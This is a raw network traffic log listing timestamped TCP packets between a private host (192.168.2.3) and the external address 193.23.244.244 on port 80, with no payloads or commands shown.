Oct 24, 2022 11:09:02.705255032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705262899 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705287933 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705319881 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705327988 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705353022 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705385923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705394030 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705419064 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705451012 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705457926 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705485106 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705521107 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705538034 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705554008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705585957 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705594063 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705617905 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705648899 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705657959 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705682039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705714941 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705720901 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705749989 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705782890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705790997 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705816984 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705849886 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705858946 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705900908 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705929041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705940008 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.705955982 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705985069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.705996990 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706013918 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706046104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706056118 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706077099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706108093 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706119061 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706161022 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706203938 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706204891 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706248999 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706291914 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706291914 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706336975 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706377983 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706381083 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706428051 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706470013 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706470966 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706515074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706559896 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706562996 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706619978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706660032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706665039 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706698895 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706743002 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706743002 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706789017 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706835985 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706835985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706860065 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706897020 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706902027 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706923008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706947088 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706967115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.706974030 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.706998110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707014084 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707025051 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707051039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707065105 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707075119 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707098961 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707114935 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707123041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707149029 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707161903 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707173109 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707191944 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707210064 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707218885 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707231045 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707247972 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707261086 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707267046 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707303047 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707303047 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707331896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707349062 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707357883 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707379103 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707396030 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707406044 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707416058 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707432985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707446098 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707451105 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707468987 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707488060 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707494020 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707506895 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707524061 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707540989 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707547903 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707559109 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707576990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707583904 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707593918 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707611084 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707628012 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707634926 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707644939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707662106 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707669973 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707695007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707706928 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707714081 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707732916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707745075 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707750082 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707767010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707783937 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707786083 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707803965 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707818985 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707822084 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707839012 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707855940 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707864046 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707875013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707894087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707905054 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707912922 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707932949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707937956 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707951069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707971096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.707976103 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.707988977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708005905 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708014965 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.708024025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708038092 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.708043098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708060026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708077908 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708091974 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.708096027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708112955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708127975 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.708132029 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708149910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.708158970 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.708201885 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.708252907 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.721302986 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721333981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721354008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721373081 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721380949 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.721390963 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721410036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721427917 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721436024 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.721446037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721463919 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721481085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721498966 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721507072 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.721518040 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721529961 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.721535921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.721560955 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.721617937 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.735636950 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.735677958 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.735711098 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.735712051 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.735734940 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.735737085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.735754013 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.735760927 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.735775948 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.735784054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.735809088 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.735835075 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736069918 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736100912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736119986 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736125946 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736149073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736156940 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736171961 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736181974 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736195087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736208916 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736217976 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736242056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736260891 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736264944 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736284018 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736289024 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736310959 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736319065 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736335039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736342907 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736357927 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736366034 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736381054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736388922 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736406088 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736413002 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736434937 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736438036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736457109 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736470938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736483097 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736500978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736514091 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736527920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736541986 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736555099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736577034 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736578941 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736593962 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736602068 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736615896 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736627102 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736640930 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736649990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736666918 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736673117 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736686945 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736711979 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736716032 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736741066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736752987 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736769915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736783981 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736798048 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736812115 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736826897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736839056 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736854076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736869097 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736882925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736905098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736910105 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736922979 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736941099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736958981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736967087 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736978054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.736990929 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.736996889 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737015009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737032890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737040997 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737051010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737068892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737077951 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737087011 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737102032 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737104893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737123966 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737140894 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737143040 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737159014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737176895 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737178087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737195969 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737200975 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737212896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737226963 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737236977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737255096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737267017 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737272978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737291098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737308025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737324953 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737344027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737346888 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737360954 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737377882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737379074 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737396955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737404108 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737416983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737426996 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737433910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737464905 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737467051 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737492085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737503052 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737514019 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737530947 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737533092 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737549067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737565994 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737572908 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737584114 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737603903 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737612009 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737621069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737638950 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737639904 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737658978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737668991 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737685919 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737709045 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737713099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737737894 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737746000 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737765074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737786055 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737791061 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737809896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737818003 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737826109 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737844944 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737858057 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737864017 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737880945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737896919 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737899065 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737916946 CEST	80	49700	193.23.244.244	192.168.2.3
